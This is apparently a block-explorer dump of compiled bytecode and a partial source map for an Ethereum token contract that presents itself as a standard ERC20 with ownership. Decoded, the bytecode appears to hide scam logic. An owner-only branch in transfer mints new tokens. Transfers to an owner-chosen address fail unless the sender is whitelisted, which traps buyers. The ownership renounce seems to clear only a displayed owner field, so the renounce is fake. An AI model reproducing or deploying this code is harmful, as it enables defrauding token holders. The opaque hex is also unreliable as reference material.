811816117eb565b92915050565b6000819050919050565b61182a81611817565b811461183557600080fd5b50565b60008135905061184781611821565b92915050565b60008060408385031215611864576118636117af565b5b600061187285828601611802565b925050602061188385828601611838565b9150509250929050565b60008115159050919050565b6118a28161188d565b82525050565b60006020820190506118bd6000830184611899565b92915050565b6118cc81611817565b82525050565b60006020820190506118e760008301846118c3565b92915050565b600080600060608486031215611906576119056117af565b5b600061191486828701611802565b935050602061192586828701611802565b925050604061193686828701611838565b9150509250925092565b600060ff82169050919050565b61195681611940565b82525050565b6000602082019050611971600083018461194d565b92915050565b60006020828403121561198d5761198c6117af565b5b600061199b84828501611802565b91505092915050565b6119ad816117d9565b82525050565b60006020820190506119c860008301846119a4565b92915050565b6000602082840312156119e4576119e36117af565b5b60006119f284828501611838565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a3882611739565b810181811067ffffffffffffffff82111715611a5757611a56611a00565b5b80604052505050565b6000611a6a6117a5565b9050611a768282611a2f565b919050565b600067ffffffffffffffff821115611a9657611a95611a00565b5b602082029050602081019050919050565b600080fd5b6000611abf611aba84611a7b565b611a60565b90508083825260208201905060208402830185811115611ae257611ae1611aa7565b5b835b81811015611b0b5780611af78882611802565b845260208401935050602081019050611ae4565b5050509392505050565b600082601f830112611b2a57611b296119fb565b5b8135611b3a848260208601611aac565b91505092915050565b600060208284031215611b5957611b586117af565b5b600082013567ffffffffffffffff811115611b7757611b766117b4565b5b611b8384828501611b15565b91505092915050565b60008060408385031215611ba357611ba26117af565b5b6000611bb185828601611802565b9250506020611bc285828601611802565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c1357607f821691505b60208210811415611c2757611c26611bcc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c896028836116f5565b9150611c9482611c2d565b604082019050919050565b60006020820190508181036000830152611cb881611c7c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf982611817565b9150611d0483611817565b925082821015611d1757611d16611cbf565b5b828203905092915050565b6000611d2d82611817565b9150611d3883611817565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d6d57611d6c611cbf565b5b828201905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611dd46021836116f5565b9150611ddf82611d78565b604082019050919050565b60006020820190508181036000830152611e0381611dc7565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e666022836116f5565b9150611e7182611e0a565b604082019050919050565b60006020820190508181036000830152611e9581611e59565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ed26020836116f5565b9150611edd82611e9c565b602082019050919050565b60006020820190508181036000830152611f0181611ec5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611f646025836116f5565b9150611f6f82611f08565b604082019050919050565b60006020820190508181036000830152611f9381611f57565b9050919050565b6000611fa582611817565b9150611fb083611817565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fe957611fe8611cbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061202e82611817565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561206157612060611cbf565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120c86024836116f5565b91506120d38261206c565b604082019050919050565b600060208201905081810360008301526120f7816120bb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061215a6022836116f5565b9150612165826120fe565b604082019050919050565b600060208201905081810360008301526121898161214d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121ec6025836116f5565b91506121f782612190565b604082019050919050565b6000602082019050818103600083015261221b816121df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061227e6023836116f5565b915061228982612222565b604082019050919050565b600060208201905081810360008301526122ad81612271565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006123106026836116f5565b915061231b826122b4565b604082019050919050565b6000602082019050818103600083015261233f81612303565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061237c601b836116f5565b915061238782612346565b602082019050919050565b600060208201905081810360008301526123ab8161236f565b905091905056fea26469706673582212205ea668fc9e98b22792e89dfe507706ede26ebb4306a2621e843d753ac1289b1f64736f6c634300080a0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80637830b072116100a2578063a457c2d711610071578063a457c2d7146102d1578063a9059cbb14610301578063bc33718214610331578063cdc9f33c1461034d578063dd62ed3e1461036957610116565b80637830b0721461025b5780637c557b10146102795780638da5cb5b1461029557806395d89b41146102b357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780636161eb181461020557806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610399565b6040516101309190611783565b60405180910390f35b610153600480360381019061014e919061184d565b61042b565b60405161016091906118a8565b60405180910390f35b610171610449565b60405161017e91906118d2565b60405180910390f35b6101a1600480360381019061019c91906118ed565b610453565b6040516101ae91906118a8565b60405180910390f35b6101bf610554565b6040516101cc919061195c565b60405180910390f35b6101ef60048036038101906101ea919061184d565b61057c565b6040516101fc91906118a8565b60405180910390f35b61021f600480360381019061021a919061184d565b610628565b005b61023b60048036038101906102369190611977565b6107f2565b60405161024891906118d2565b60405180910390f35b61025961083b565b005b610263610991565b60405161027091906118d2565b60405180910390f35b610293600480360381019061028e9190611977565b610997565b005b61029d610a70565b6040516102aa91906119b3565b60405180910390f35b6102bb610a96565b6040516102c89190611783565b60405180910390f35b6102eb60048036038101906102e6919061184d565b610b28565b6040516102f891906118a8565b60405180910390f35b61031b6004803603810190610316919061184d565b610c1c565b60405161032891906118a8565b60405180910390f35b61034b600480360381019061034691906119ce565b610e83565b005b61036760048036038101906103629190611b43565b610f35565b005b610383600480360381019061037e9190611b8c565b611010565b60405161039091906118d2565b60405180910390f35b6060600880546103a890611bfb565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611bfb565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600061043f610438611097565b848461109f565b6001905092915050565b6000600654905090565b600061046084848461126a565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ab611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561052b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052290611c9f565b60405180910390fd5b61054885610537611097565b85846105439190611cee565b61109f565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b600061061e610589611097565b848460056000610597611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106199190611d22565b61109f565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068f90611dea565b60405180910390fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611e7c565b60405180910390fd5b818161072b9190611cee565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600660008282546107809190611cee565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107e591906118d2565b60405180910390a3505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610843611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611ee8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b61099f611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2390611ee8565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054610aa590611bfb565b80601f0160208091040260200160405190810160405280929190818152602001828054610ad190611bfb565b8015610b1e5780601f10610af357610100808354040283529160200191610b1e565b820191906000526020600020905b815481529060010190602001808311610b0157829003601f168201915b5050505050905090565b60008060056000610b37611097565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610beb90611f7a565b60405180910390fd5b610c11610bff611097565b858584610c0c9190611cee565b61109f565b600191505092915050565b6000610c26611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c93575060011515600a60009054906101000a900460ff161515145b15610cce57610caa610ca3611097565b848461126a565b6000600a60006101000a81548160ff02191690831515021790555060019050610e7d565b610cd6611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d43575060001515600a60009054906101000a900460ff161515145b15610e6657610d5d8260065461159c90919063ffffffff16565b600681905550610db582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e5591906118d2565b60405180910390a360019050610e7d565b610e78610e71611097565b848461126a565b600190505b92915050565b610e8b611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f90611ee8565b60405180910390fd5b670de0b6b3a764000081610f2c9190611f9a565b60078190555050565b610f3d611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc190611ee8565b60405180910390fd5b60005b815181101561100c57610ff9828281518110610fec57610feb611ff4565b5b60200260200101516115fa565b808061100490612023565b915050610fcd565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611106906120de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612170565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125d91906118d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190612202565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612294565b60405180910390fd5b600754811061135857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140557600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661140457600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612326565b60405180910390fd5b81816114989190611cee565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461152a9190611d22565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158e91906118d2565b60405180910390a350505050565b60008082846115ab9190611d22565b9050838110156115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790612392565b60405180910390fd5b8091505092915050565b611602611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461168f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168690611ee8565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611724578082015181840152602081019050611709565b83811115611733576000848401525b50505050565b6000601f19601f8301169050919050565b6000611755826116ea565b61175f81856116f5565b935061176f818560208601611706565b61177881611739565b840191505092915050565b6000602082019050818103600083015261179d818461174a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117e4826117b9565b9050919050565b6117f4816117d9565b81146117ff57600080fd5b50565b600081359050611811816117eb565b92915050565b6000819050919050565b61182a81611817565b811461183557600080fd5b50565b60008135905061184781611821565b92915050565b60008060408385031215611864576118636117af565b5b600061187285828601611802565b925050602061188385828601611838565b9150509250929050565b60008115159050919050565b6118a28161188d565b82525050565b60006020820190506118bd6000830184611899565b92915050565b6118cc81611817565b82525050565b60006020820190506118e760008301846118c3565b92915050565b600080600060608486031215611906576119056117af565b5b600061191486828701611802565b935050602061192586828701611802565b925050604061193686828701611838565b9150509250925092565b600060ff82169050919050565b61195681611940565b82525050565b6000602082019050611971600083018461194d565b92915050565b60006020828403121561198d5761198c6117af565b5b600061199b84828501611802565b91505092915050565b6119ad816117d9565b82525050565b60006020820190506119c860008301846119a4565b92915050565b6000602082840312156119e4576119e36117af565b5b60006119f284828501611838565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611a3882611739565b810181811067ffffffffffffffff82111715611a5757611a56611a00565b5b80604052505050565b6000611a6a6117a5565b9050611a768282611a2f565b919050565b600067ffffffffffffffff821115611a9657611a95611a00565b5b602082029050602081019050919050565b600080fd5b6000611abf611aba84611a7b565b611a60565b90508083825260208201905060208402830185811115611ae257611ae1611aa7565b5b835b81811015611b0b5780611af78882611802565b845260208401935050602081019050611ae4565b5050509392505050565b600082601f830112611b2a57611b296119fb565b5b8135611b3a848260208601611aac565b91505092915050565b600060208284031215611b5957611b586117af565b5b600082013567ffffffffffffffff811115611b7757611b766117b4565b5b611b8384828501611b15565b91505092915050565b60008060408385031215611ba357611ba26117af565b5b6000611bb185828601611802565b9250506020611bc285828601611802565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c1357607f821691505b60208210811415611c2757611c26611bcc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c896028836116f5565b9150611c9482611c2d565b604082019050919050565b60006020820190508181036000830152611cb881611c7c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf982611817565b9150611d0483611817565b925082821015611d1757611d16611cbf565b5b828203905092915050565b6000611d2d82611817565b9150611d3883611817565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d6d57611d6c611cbf565b5b828201905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611dd46021836116f5565b9150611ddf82611d78565b604082019050919050565b60006020820190508181036000830152611e0381611dc7565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e666022836116f5565b9150611e7182611e0a565b604082019050919050565b60006020820190508181036000830152611e9581611e59565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ed26020836116f5565b9150611edd82611e9c565b602082019050919050565b60006020820190508181036000830152611f0181611ec5565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611f646025836116f5565b9150611f6f82611f08565b604082019050919050565b60006020820190508181036000830152611f9381611f57565b9050919050565b6000611fa582611817565b9150611fb083611817565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fe957611fe8611cbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061202e82611817565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561206157612060611cbf565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120c86024836116f5565b91506120d38261206c565b604082019050919050565b600060208201905081810360008301526120f7816120bb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061215a6022836116f5565b9150612165826120fe565b604082019050919050565b600060208201905081810360008301526121898161214d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121ec6025836116f5565b91506121f782612190565b604082019050919050565b6000602082019050818103600083015261221b816121df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061227e6023836116f5565b915061228982612222565b604082019050919050565b600060208201905081810360008301526122ad81612271565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006123106026836116f5565b915061231b826122b4565b604082019050919050565b6000602082019050818103600083015261233f81612303565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061237c601b836116f5565b915061238782612346565b602082019050919050565b600060208201905081810360008301526123ab8161236f565b905091905056fea26469706673582212205ea668fc9e98b22792e89dfe507706ede26ebb4306a2621e843d753ac1289b1f64736f6c634300080a0033

Deployed Bytecode Sourcemap

15581:358:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8454:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11312:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9716:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11487:418;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15836:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12699:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14434:426;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10142:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7272:130;;;:::i;:::-;;8162:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9204:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6376:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8873:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12920:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10639:510;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12427:92;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12527:162;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11155:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8454:100;8508:13;8541:5;8534:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8454:100;:::o;11312:169::-;11395:4;11412:39;11421:12;:10;:12::i;:::-;11435:7;11444:6;11412:8;:39::i;:::-;11469:4;11462:11;;11312:169;;;;:::o;9716:108::-;9777:7;9804:12;;9797:19;;9716:108;:::o;11487:418::-;11593:4;11610:36;11620:6;11628:9;11639:6;11610:9;:36::i;:::-;11657:24;11684:11;:19;11696:6;11684:19;;;;;;;;;;;;;;;:33;11704:12;:10;:12::i;:::-;11684:33;;;;;;;;;;;;;;;;11657:60;;11756:6;11736:16;:26;;11728:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;11818:57;11827:6;11835:12;:10;:12::i;:::-;11868:6;11849:16;:25;;;;:::i;:::-;11818:8;:57::i;:::-;11893:4;11886:11;;;11487:418;;;;;:::o;15836:100::-;15894:5;15919:9;15912:16;;15836:100;:::o;12699:215::-;12787:4;12804:80;12813:12;:10;:12::i;:::-;12827:7;12873:10;12836:11;:25;12848:12;:10;:12::i;:::-;12836:25;;;;;;;;;;;;;;;:34;12862:7;12836:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;12804:8;:80::i;:::-;12902:4;12895:11;;12699:215;;;;:::o;14434:426::-;14535:1;14516:21;;:7;:21;;;;14508:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14586:22;14611:9;:18;14621:7;14611:18;;;;;;;;;;;;;;;;14586:43;;14666:6;14648:14;:24;;14640:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;14760:6;14743:14;:23;;;;:::i;:::-;14722:9;:18;14732:7;14722:18;;;;;;;;;;;;;;;:44;;;;14793:6;14777:12;;:22;;;;;;;:::i;:::-;;;;;;;;14841:1;14815:37;;14824:7;14815:37;;;14845:6;14815:37;;;;;;:::i;:::-;;;;;;;;14497:363;14434:426;;:::o;10142:127::-;10216:7;10243:9;:18;10253:7;10243:18;;;;;;;;;;;;;;;;10236:25;;10142:127;;;:::o;7272:130::-;6720:12;:10;:12::i;:::-;6706:26;;:10;;;;;;;;;;:26;;;6698:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7361:1:::1;7340:24;;7346:5;;;;;;;;;;;7340:24;;;;;;;;;;;;7392:1;7376:5;;:18;;;;;;;;;;;;;;;;;;7272:130::o:0;8162:25::-;;;;:::o;9204:85::-;6720:12;:10;:12::i;:::-;6706:26;;:10;;;;;;;;;;:26;;;6698:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9278:3:::1;9269:6;;:12;;;;;;;;;;;;;;;;;;9204:85:::0;:::o;6376:20::-;;;;;;;;;;;;;:::o;8873:104::-;8929:13;8962:7;8955:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8873:104;:::o;12920:375::-;13013:4;13030:24;13057:11;:25;13069:12;:10;:12::i;:::-;13057:25;;;;;;;;;;;;;;;:34;13083:7;13057:34;;;;;;;;;;;;;;;;13030:61;;13130:15;13110:16;:35;;13102:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;13198:67;13207:12;:10;:12::i;:::-;13221:7;13249:15;13230:16;:34;;;;:::i;:::-;13198:8;:67::i;:::-;13283:4;13276:11;;;12920:375;;;;:::o;10639:510::-;10718:4;10753:12;:10;:12::i;:::-;10739:26;;:10;;;;;;;;;;:26;;;10738:45;;;;;10778:4;10771:11;;:5;;;;;;;;;;;:11;;;10738:45;10735:407;;;10785:42;10795:12;:10;:12::i;:::-;10809:9;10820:6;10785:9;:42::i;:::-;10835:5;10829;;:11;;;;;;;;;;;;;;;;;;10848:4;10841:11;;;;10735:407;10887:12;:10;:12::i;:::-;10873:26;;:10;;;;;;;;;;:26;;;10872:46;;;;;10912:5;10905:12;;:5;;;;;;;;;;;:12;;;10872:46;10869:273;;;10933:24;10950:6;10933:12;;:16;;:24;;;;:::i;:::-;10920:12;:37;;;;10979:32;11004:6;10979:9;:20;10989:9;10979:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10958:9;:20;10968:9;10958:20;;;;;;;;;;;;;;;:53;;;;11037:9;11017:38;;11026:9;11017:38;;;11048:6;11017:38;;;;;;:::i;:::-;;;;;;;;11064:4;11057:11;;;;10869:273;11085:42;11095:12;:10;:12::i;:::-;11109:9;11120:6;11085:9;:42::i;:::-;11136:4;11129:11;;10639:510;;;;;:::o;12427:92::-;6720:12;:10;:12::i;:::-;6706:26;;:10;;;;;;;;;;:26;;;6698:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12502:6:::1;12494:5;:14;;;;:::i;:::-;12485:6;:23;;;;12427:92:::0;:::o;12527:162::-;6720:12;:10;:12::i;:::-;6706:26;;:10;;;;;;;;;;:26;;;6698:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;12609:9:::1;12604:78;12628:7;:14;12624:1;:18;12604:78;;;12664:15;12668:7;12676:1;12668:10;;;;;;;;:::i;:::-;;;;;;;;12664:3;:15::i;:::-;12644:3;;;;;:::i;:::-;;;;12604:78;;;;12527:162:::0;:::o;11155:151::-;11244:7;11271:11;:18;11283:5;11271:18;;;;;;;;;;;;;;;:27;11290:7;11271:27;;;;;;;;;;;;;;;;11264:34;;11155:151;;;;:::o;5123:98::-;5176:7;5203:10;5196:17;;5123:98;:::o;14866:344::-;14985:1;14968:19;;:5;:19;;;;14960:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15066:1;15047:21;;:7;:21;;;;15039:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15148:6;15118:11;:18;15130:5;15118:18;;;;;;;;;;;;;;;:27;15137:7;15118:27;;;;;;;;;;;;;;;:36;;;;15186:7;15170:32;;15179:5;15170:32;;;15195:6;15170:32;;;;;;:::i;:::-;;;;;;;;14866:344;;;:::o;13301:843::-;13425:1;13407:20;;:6;:20;;;;13399:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13509:1;13488:23;;:9;:23;;;;13480:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13579:6;;13570;:15;13562:24;;;;;;13614:6;;;;;;;;;;;13601:19;;:9;:19;;;13597:63;;;13641:7;:15;13649:6;13641:15;;;;;;;;;;;;;;;;;;;;;;;;;13633:24;;;;;;13597:63;13670:21;13694:9;:17;